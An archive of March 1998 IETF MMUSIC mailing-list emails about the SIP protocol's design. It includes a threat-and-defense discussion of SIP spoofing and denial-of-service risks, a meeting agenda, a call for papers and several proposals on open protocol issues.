From confctrl-owner  Tue Mar 24 18:27:46 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA13144
	for confctrl-outgoing; Tue, 24 Mar 1998 18:27:46 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA13139
	for <confctrl@zephyr.isi.edu>; Tue, 24 Mar 1998 18:27:44 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id SAA05718
	for <confctrl@isi.edu>; Tue, 24 Mar 1998 18:27:41 -0800 (PST)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id VAA25588; Tue, 24 Mar 1998 21:27:38 -0500 (EST)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id VAA10662; Tue, 24 Mar 1998 21:27:38 -0500 (EST)
Message-ID: <35186B99.D9952F4D@cs.columbia.edu>
Date: Tue, 24 Mar 1998 21:27:37 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.04 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: Mark Handley <mjh@ISI.EDU>
CC: Christian Huitema <huitema@bellcore.com>,
        Eve Schooler <schooler@cs.caltech.edu>,
        Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>, confctrl@ISI.EDU
Subject: Re: MMUSIC at the LA IETF
References: <14297.890700395@north.lcs.mit.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Mark Handley wrote:

Still haven't gotten the confctrl version...


> 
> 1) Denial of service attack of a SIP agent.  Proceeds much like the TCP
> SYN attack: bomb a SIP agent with phony INVITE messages, with a forged
> source address.  The effects are ennoyance of the user (too many ringing)
> and sheer saturation of the SIP agent (real calls can make it through).

Not much we can do here (I think), except require authentication of
calls and have a flexible call processing language to dump these early.
Fortunately, the processing costs of INVITEs are pretty low.

The other thing I foresee is IPtel spam. Lot cheaper than actually
calling somebody. You pick up and you get "Hi, this is Dave Rhodes. A
week ago I was in the gutter and then I found this amazing
opportunity...".

> 
> 2) Use of the SIP agents as intermediate relays in a "smurf" attack.  Send
> a multicast message to a group address listing multiple agents, with a
> spoofed source address (that of the target of the smurf attack).

I understand this as "trigger a multicast search", but fake my source
address?

> 
> 3) Use of SIP to establish an unwanted session.  Make an SDP session
> announcement using the desired target's IP/UDP/RTP parameters, and send it
> to some agent to which the target has no desire speaking or listening.
>  This can be done either with point-to-point operation or with multicast
> announces.

The three-way ACK handshake provides some protection against invalid
source addresses, although we'd need to add a callee-added token that
the ACK needs to return to make it work. Something like the following
would work in a backward compatible way:

C->S: INVITE

S->C: 401 Unauthorized
      WWW-Authenticate: Trivial nonce="this-is-your-nonce"

C->S: INVITE
      Authorization: Trivial nonce="this-is-your-nonce"

"Trivial" is a new "authentication" scheme even less 'secure' than
"Basic" - you don't have to know a password, just echo what I sent you.
However, it helps to solve the problem at hand.

That way, the callee knows that the caller actually received the 401
response and thus couldn't be faking the source address.

The agent/weather channel would be legally responsible for sending this
garbage, so it might be well advised to check for authentication.
Another alternative is that it redirects the call to itself, forcing the
client to contact it directly, so that it can use the three-way
handshake mechanism above to make sure (a) the source address is valid
and (b) is the same as the SDP destination address.

> 
> 4) Use of SIP to generate a stream of traffic towards an unsuspecting
> target, resulting in a denial of service attack.  Make an SDP session
> announcement using the desired target's IP address, send it to some public
> point-to-point source, e.g. weather channel.

Same as before.

> 
> 5) Interception of SIP INVITE by a third party, which then manages to send
> a reply before the invited party, possibly redirecting the call to some
> wrong address.  Can also be used to engineer man-in-the-middle attacks.

Addressed by the section on "trusted responses" (forcing response
authentication) in the current (today's...) or by introducing a
mechanism as the following (if caller and callee share a secret):

C->S: INVITE
      WWW-Authenticate: digest

> 
> 6) Use a rogue BYE command to disconnect a user from a session.

Authentication. Without authentication, BYE requires knowledge of
Call-ID, which is required to be cryptographically random, so Trudy
would have to at least intercept the INVITE.

> 
> Obvious protections:
> 
> 1) In a secure environment, only accept SIP request and queries from
> secure associations (using IPSEC).  This effectively shuts down most
> attacks, but is obviously hard to realize in a large, open environment.
>  Also, it will only protects against forged SDP announces if none of the
> secure servers ever relay an announcement obtained through a less secure
> channel.  One problem here is the tight delays imposed in some
> environments (gateways to public telephony) which mandate very short
> response times: setting up an association on demand requires at least 2
> round trips with Oakley/ISAKMP, and possibly three.
> 
> 2) If IPSEC proves to expensive to implement, allow for an application
> level signature of the messages, based either on pre-established keys or
> on public keys and certificates.

This is wwhat we are currently doing, based on PGP. I think this should
prove so easy to implement if you have a PGP implementation that there's
little reason not to.

> 
> 3) Attach a digital signature to the announcement, effectively proving
> that what the invited party receives is exactly what the original inviter
> sent.  The signature should cover the SDP announcement itself, but also
> the name of the inviting and invited parties.  Similarly, attach a
> signature to the 200-OK acknowledgement.

See above.

> 
> 4) Make sure that the INVITE/200 OK/ACK exchange effectively implements a
> three ways handshake.  To that effect, the INVITE should include a unique
> identifier that should be repeated in the 200 OK response; the 200 OK
> response should also include a different unique identifier, generated by
> the invited party, that should be repeated in the ACK.

Should've read to the bottom of the message before replying. See
concrete suggestion above.

> 
> 5) Allow for an optional three ways handshake for the BYE command.

Could be done via a Require header, but the Call-ID mechanism I
mentioned above may solve most of the non-intercept problems.

Henning

From confctrl-owner  Wed Mar 25 12:16:31 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA03707
	for confctrl-outgoing; Wed, 25 Mar 1998 12:16:31 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA03702
	for <confctrl@zephyr.isi.edu>; Wed, 25 Mar 1998 12:16:29 -0800 (PST)
Received: from vlsi.cs.caltech.edu (vlsi.cs.caltech.edu [131.215.131.129])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id MAA19450;
	Wed, 25 Mar 1998 12:16:26 -0800 (PST)
Received: from liszt.cs.caltech.edu by vlsi.cs.caltech.edu (4.1/1.34.1)
	id AA24474; Wed, 25 Mar 98 12:16:12 PST
Received: (from schooler@localhost)
	by liszt.cs.caltech.edu (8.8.8/8.8.7) id MAA29860;
	Wed, 25 Mar 1998 12:16:11 -0800 (PST)
Date: Wed, 25 Mar 1998 12:16:11 -0800 (PST)
From: Eve Schooler <schooler@cs.caltech.edu>
Message-Id: <199803252016.MAA29860@liszt.cs.caltech.edu>
To: agenda@ietf.org, confctrl@ISI.EDU
Subject: MMusic Agenda for LA IETF
Cc: jo@tzi.org, mjh@ISI.EDU, rlang@std.sri.com, schooler@cs.caltech.edu
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

Below is the tentative agenda for the upcoming MMusic meeting
at the LA IETF.  The SAP security and SIP call control I-Ds
are already available on-line, and a new SIP I-D is forthcoming
(and will be cc'd to the mailing list).

Ruth, Mark, Joerg, and Eve




Multiparty Multimedia Session Control WG (mmusic)

Co-chairs:
Ruth Lang    <rlang@sri.com>
Mark Handley <mjh@isi.edu>
Joerg Ott    <jo@cs.tu-berlin.de>
Eve Schooler <schooler@cs.caltech.edu>


Tuesday, March 31 (1300-1515)
=============================

AGENDA:

1. Agenda bashing                          [5 mins]

2. SIP - Mark Handley                      [60 mins]
   <draft-ietf-mmusic-sip-05.{txt,ps,pdf}>

3. SAP security - Ian Brown                [20 mins]
   <draft-ietf-mmusic-sap-sec-04.{txt,ps}>

4. SIP call control - Jonathan Lennox      [30 mins]
   <draft-ietf-mmusic-sip-cc-00.txt>

5. Status of WG and its protocols          [20 mins]

From confctrl-owner  Wed Mar 25 19:21:07 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA16585
	for confctrl-outgoing; Wed, 25 Mar 1998 19:21:07 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA16580
	for <confctrl@zephyr.isi.edu>; Wed, 25 Mar 1998 19:21:06 -0800 (PST)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id TAA14907
	for <confctrl@isi.edu>; Wed, 25 Mar 1998 19:21:04 -0800 (PST)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id WAA20752; Wed, 25 Mar 1998 22:21:02 -0500
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: confctrl@ISI.EDU
Subject: New SIP draft
Date: Wed, 25 Mar 1998 22:21:02 -0500
Message-ID: <20750.890882462@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


A new copy of the SIP specification is available from
  http://www.cs.columbia.edu/~hgs/sip/
A copy will also be in the confctrl archive from tomorrow, and in the
Internet Drafts archives after the IETF.

We believe we're now pretty close to submitting SIP for Proposed
Standard.  This draft includes a fairly complete security
architecture, and a number of fixes as a result of our implementation
experience.  After the last IETF we split Call Control Services out of
the core SIP draft.  In the core spec, we've spent a lot of time
tightening up definitions, and getting things clear, but haven't made
any large changes to the protocol, although we've made a number of
small changes where things were incorrect.  There are still a number
of minor open issues, which we'll discuss next week at the IETF.

I know it's a tall order, given how close we are to the IETF, but if
you're interesting in SIP and going to be in LA on Tuesday, I would
ask you to look at this draft of the specification before Tuesday's
meeting so you can give us your comments.  If everything goes well,
we'll be submitting SIP for Proposed Standard before the next IETF so
this may be your last chance to discuss it with us in person.

I also hope we can release an sdr implementation of this specification
this week (supporting "minimal", "basic" and "redirect"
functionality).

Cheers,
	Mark



From confctrl-owner  Wed Mar 25 21:32:48 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id VAA18684
	for confctrl-outgoing; Wed, 25 Mar 1998 21:32:48 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id VAA18679
	for <confctrl@zephyr.isi.edu>; Wed, 25 Mar 1998 21:32:45 -0800 (PST)
Received: from cssu46.cs.ust.hk (root@cssu46.cs.ust.hk [143.89.40.46])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id VAA19978
	for <confctrl@isi.edu>; Wed, 25 Mar 1998 21:32:43 -0800 (PST)
Received: from cssu282.cs.ust.hk (iahmad@cssu282.cs.ust.hk [143.89.41.26])
	by cssu46.cs.ust.hk (8.8.5/8.8.8) with ESMTP id NAA15159;
	Thu, 26 Mar 1998 13:31:55 +0800 (HKT)
From: Ishfaq Ahmad <iahmad@cs.ust.hk>
Received: (from iahmad@localhost) by cssu282.cs.ust.hk (8.8.3/8.7.3) id NAA17126; Thu, 26 Mar 1998 13:31:52 +0800 (HKT)
Date: Thu, 26 Mar 1998 13:31:52 +0800 (HKT)
Message-Id: <199803260531.NAA17126@cssu282.cs.ust.hk>
To: IETF-Announce@es.net, dns-security@tis.com, ipsec@ans.net,
        announcements.chi@xerox.com, confctrl@ISI.EDU, tccc@ieee.org,
        giga@tele.pitt.edu, comswtc@gmu.edu, multicomm@cc.bellcore.com,
        commsoft@cc.bellcore.com
Subject: call for papers (special issue of JPDC)
Cc: iahmad@cs.ust.hk, fcmlau@cs.hku.hk
X-Sun-Charset: US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


 
Dear Colleagues:

Please distribute the following call for papers to other 
colleagues.

Thank you.

Ishfaq



#######################################################################
#                                                                     #
#           Journal of Parallel and Distributed Computing             #
#                                                                     #
#                        Call for Papers                              #
#                 A Special Issue Focusing on                         #
#           Software Support for Distributed Computing                #
#                                                                     #
#######################################################################

Distributed and networked computer systems such as clusters of workstations 
are becoming the computational resource of choice for researchers
working in the area of parallel processing. There are several economic
and technical reasons motivating the increasing usage of such systems.
However, in order for such systems to behave like a single system in a 
seamless and transparent fashion, considerable research is required
for efficient management of resources, operating system support, programming
tools, and fast communication.  


Papers are solicited for a special issue of the Journal of Parallel
and Distributed Computing tentatively scheduled to be published in
September, 1999. The purpose of this special issue is to focus on 
the recent developments as well as newly proposed approaches and 
experimental results that can help to solve computationally intensive 
problems across distributed platforms. 
  
  
Topics of interest include (but are not limited to):

o Distributed system architectures 
o Operating system supports 
o Efficient communication, interfaces and libraries, 
o Scheduling, data distribution, and load balancer, 
o Experimental mapping/allocation algorithms
o Task migration facilities 
o Experimental software tools for programming
o Building Applications on networked systems
o Distributed shared-memory on a workstation cluster
o Distributed file server and I/O
o Fault tolerance issues 
o Performance considerations 

   
     Schedule:
    --------------------------------------------------
    | Submission deadline: October 1, 1998.	      |
    | Notification of Acceptance:  April 1, 1999.     |
    | Target month of Special Issue:  September 1999  |
    --------------------------------------------------


Authors should follow the Information for Authors at the end of each
issue of JPDC when preparing their manuscripts for submission. An
electronic copy of the manuscript, in Postscript format and viewable
with ghostview, should be submitted via electronic mail to one of the
guest editors by October 1, 1998. Alternatively, five copies of the 
complete manuscript can be sent to arrive by the same deadline. Submission 
should include authors names, affiliations, addresses, fax and phone 
numbers, email addresses, on the cover page. Only original manuscript 
will be considered. All papers will undergo a peer review process. Authors 
will be notified of the final publication decision by April 1, 1999. 

 
  
#######################################################################
#   Guest Editors, Journal of Parallel and Distributed Computing      #
#                                                                     #
#    Ishfaq Ahmad                                                     #
#    Department of Computer Science                                   #
#    Hong Kong University of Science and Technology                   #
#    Clear Water Bay, Kowloon, Hong Kong                              #
#    Ph: (852) 2358-6980, Fax: (852) 2358-1477                        #
#    E-mail: iahmad@cs.ust.hk                                         #
#                                                                     #
#    Francis C.M. Lau                                                 #
#    Department of Computer Science                                   #
#    The University of Hong Kong                                      #
#    Pokfulam Road, Hong Kong                                         #
#    Tel: (852) 2859-2170, Fax: (852) 2559-8447                       #
#    E-mail: fcmlau@cs.hku.hk                                         #
#                                                                     #
#                                                                     #
#######################################################################

  


----- End Included Message -----


From confctrl-owner  Fri Mar 27 09:42:17 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA29982
	for confctrl-outgoing; Fri, 27 Mar 1998 09:42:17 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA29976
	for <confctrl@zephyr.isi.edu>; Fri, 27 Mar 1998 09:42:16 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA16948
	for <confctrl@isi.edu>; Fri, 27 Mar 1998 09:42:12 -0800 (PST)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id MAA15063 for <confctrl@isi.edu>; Fri, 27 Mar 1998 12:42:11 -0500 (EST)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id MAA26388 for <confctrl@isi.edu>; Fri, 27 Mar 1998 12:42:10 -0500 (EST)
Message-ID: <351BE4F0.15818604@cs.columbia.edu>
Date: Fri, 27 Mar 1998 12:42:08 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.04 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: SIP: INVITE/BYE race
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

(In the following messages, I will outline what I perceive to be the
open SIP issues that need to be resolved, beyond the more basic
discussion on SIP security to take place at IETF. The suggested
resolutions are my own.)

Problem: Currently, there is a race condition where a response for 
an INVITE may be mistaken for a response for a BYE issued shortly after
the INVITE.

Suggested resolution:  Make CSeq mandatory, at least for BYE, ACK and
INVITE.
Minimal impact on complexity.

From confctrl-owner  Fri Mar 27 09:45:00 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA00103
	for confctrl-outgoing; Fri, 27 Mar 1998 09:45:00 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA29998
	for <confctrl@zephyr.isi.edu>; Fri, 27 Mar 1998 09:44:58 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA17118
	for <confctrl@isi.edu>; Fri, 27 Mar 1998 09:44:55 -0800 (PST)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id MAA15252 for <confctrl@isi.edu>; Fri, 27 Mar 1998 12:44:53 -0500 (EST)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id MAA26398 for <confctrl@isi.edu>; Fri, 27 Mar 1998 12:44:52 -0500 (EST)
Message-ID: <351BE594.BDDAC645@cs.columbia.edu>
Date: Fri, 27 Mar 1998 12:44:52 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.04 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: SIP: Multicast INVITE/BYE
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Problem: What is the response to multicast INVITE and BYE requests?

Suggested resolution:  Multicast INVITE and BYE should trigger multicast
responses (including 1xx).  Client picks random interval within one
second.  Interval is chosen to avoid timeout.  If no ``better'' response
yet, send.  Multicast only on local network (ttl=1). [A '200' response
is 'better' than
a 4xx response.]

Issue: How long should proxy wait for final responses, as it doesn't
know how many it has reached?

From confctrl-owner  Fri Mar 27 09:46:26 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA00163
	for confctrl-outgoing; Fri, 27 Mar 1998 09:46:26 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA00157
	for <confctrl@zephyr.isi.edu>; Fri, 27 Mar 1998 09:46:25 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA17209
	for <confctrl@isi.edu>; Fri, 27 Mar 1998 09:46:23 -0800 (PST)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id MAA15300 for <confctrl@isi.edu>; Fri, 27 Mar 1998 12:46:22 -0500 (EST)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id MAA26405 for <confctrl@isi.edu>; Fri, 27 Mar 1998 12:46:21 -0500 (EST)
Message-ID: <351BE5ED.B1266082@cs.columbia.edu>
Date: Fri, 27 Mar 1998 12:46:21 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.04 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: SIP: Forked request
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Problem: What happens if a forked request produces multiple
2xx responses if several people ``pick up the phone''?

Suggested resolution:  Proxy should send a BYE to the late comers.

From confctrl-owner  Fri Mar 27 09:50:34 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA00386
	for confctrl-outgoing; Fri, 27 Mar 1998 09:50:34 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA00381
	for <confctrl@zephyr.isi.edu>; Fri, 27 Mar 1998 09:50:32 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA17505
	for <confctrl@isi.edu>; Fri, 27 Mar 1998 09:50:30 -0800 (PST)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id MAA15529 for <confctrl@isi.edu>; Fri, 27 Mar 1998 12:50:15 -0500 (EST)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id MAA26417 for <confctrl@isi.edu>; Fri, 27 Mar 1998 12:50:14 -0500 (EST)
Message-ID: <351BE6D6.B97200B1@cs.columbia.edu>
Date: Fri, 27 Mar 1998 12:50:14 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.04 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: SIP: 1xx through proxy
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Does the proxy forward 1xx responses when
searching or generate its own, e.g., a new one for each unique string?
Disadvantages are the Implosion and possible confusion because of
interleaving; advantage is additional information at the caller as to
what's
happening.

Suggested resolution: Proxies should optionally be allowed to forward
all 1xx responses.

From confctrl-owner  Fri Mar 27 09:51:19 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA00441
	for confctrl-outgoing; Fri, 27 Mar 1998 09:51:19 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA00434
	for <confctrl@zephyr.isi.edu>; Fri, 27 Mar 1998 09:51:18 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA17574
	for <confctrl@isi.edu>; Fri, 27 Mar 1998 09:51:14 -0800 (PST)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id MAA15574 for <confctrl@isi.edu>; Fri, 27 Mar 1998 12:51:13 -0500 (EST)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id MAA26425 for <confctrl@isi.edu>; Fri, 27 Mar 1998 12:51:12 -0500 (EST)
Message-ID: <351BE70F.8C7CB038@cs.columbia.edu>
Date: Fri, 27 Mar 1998 12:51:11 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.04 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: SIP: Version upgrade in proxy
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Should a version N proxy convert a version N-1 request to version N?

Suggested resolution: Follow HTTP approach and allow upgrade of request.
This is needed to make translation from really old versions of SIP
possible and allows (embedded) end systems to acquire additional
functionality with the help of a proxy. This clearly does not work with
encrypted requests.

From confctrl-owner  Fri Mar 27 09:54:24 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA00571
	for confctrl-outgoing; Fri, 27 Mar 1998 09:54:24 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA00560
	for <confctrl@zephyr.isi.edu>; Fri, 27 Mar 1998 09:54:22 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA17804
	for <confctrl@isi.edu>; Fri, 27 Mar 1998 09:54:20 -0800 (PST)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id MAA15786 for <confctrl@isi.edu>; Fri, 27 Mar 1998 12:54:19 -0500 (EST)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id MAA26434 for <confctrl@isi.edu>; Fri, 27 Mar 1998 12:54:18 -0500 (EST)
Message-ID: <351BE7CA.23D55483@cs.columbia.edu>
Date: Fri, 27 Mar 1998 12:54:18 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.04 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: SIP: T2
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

For the INVITE/ACK mode, T2 should probably be longer than 5 seconds,
since the current timer value results in multiple INVITEs per call,
which is bad for the network and adds to processing overhead at each
proxy.

Suggested resolution: Rename timer to avoid confusion with simple
retransmission and increase to 30 seconds, based on the typical
time-after-ring until the answering machine kicks in (of about 20
seconds). [I *think* this is just an omission/typo in the current spec,
but just in case somebody feels strongly about this...]

From confctrl-owner  Fri Mar 27 09:55:57 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA00635
	for confctrl-outgoing; Fri, 27 Mar 1998 09:55:57 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA00628
	for <confctrl@zephyr.isi.edu>; Fri, 27 Mar 1998 09:55:55 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA17876
	for <confctrl@isi.edu>; Fri, 27 Mar 1998 09:55:50 -0800 (PST)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id MAA15836 for <confctrl@isi.edu>; Fri, 27 Mar 1998 12:55:49 -0500 (EST)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id MAA26441 for <confctrl@isi.edu>; Fri, 27 Mar 1998 12:55:49 -0500 (EST)
Message-ID: <351BE824.573BDF38@cs.columbia.edu>
Date: Fri, 27 Mar 1998 12:55:48 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.04 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: SIP: Proxy encryption
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Should proxies be allowed to encrypt requests and responses?

Suggested resolution: Yes.  This may be useful and necessary for
a corporate environment and outgoing calls:  the proxy/firewall needs to
see the SDP content and may need to rewrite it for NAT and net-10
reasons. Also allows embedded clients to get the benefit of encryption.

From confctrl-owner  Fri Mar 27 09:57:17 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA00719
	for confctrl-outgoing; Fri, 27 Mar 1998 09:57:17 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA00709
	for <confctrl@zephyr.isi.edu>; Fri, 27 Mar 1998 09:57:15 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA18377
	for <confctrl@isi.edu>; Fri, 27 Mar 1998 09:57:14 -0800 (PST)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id MAA15882 for <confctrl@isi.edu>; Fri, 27 Mar 1998 12:56:54 -0500 (EST)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id MAA26448 for <confctrl@isi.edu>; Fri, 27 Mar 1998 12:56:54 -0500 (EST)
Message-ID: <351BE866.53A21D37@cs.columbia.edu>
Date: Fri, 27 Mar 1998 12:56:54 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
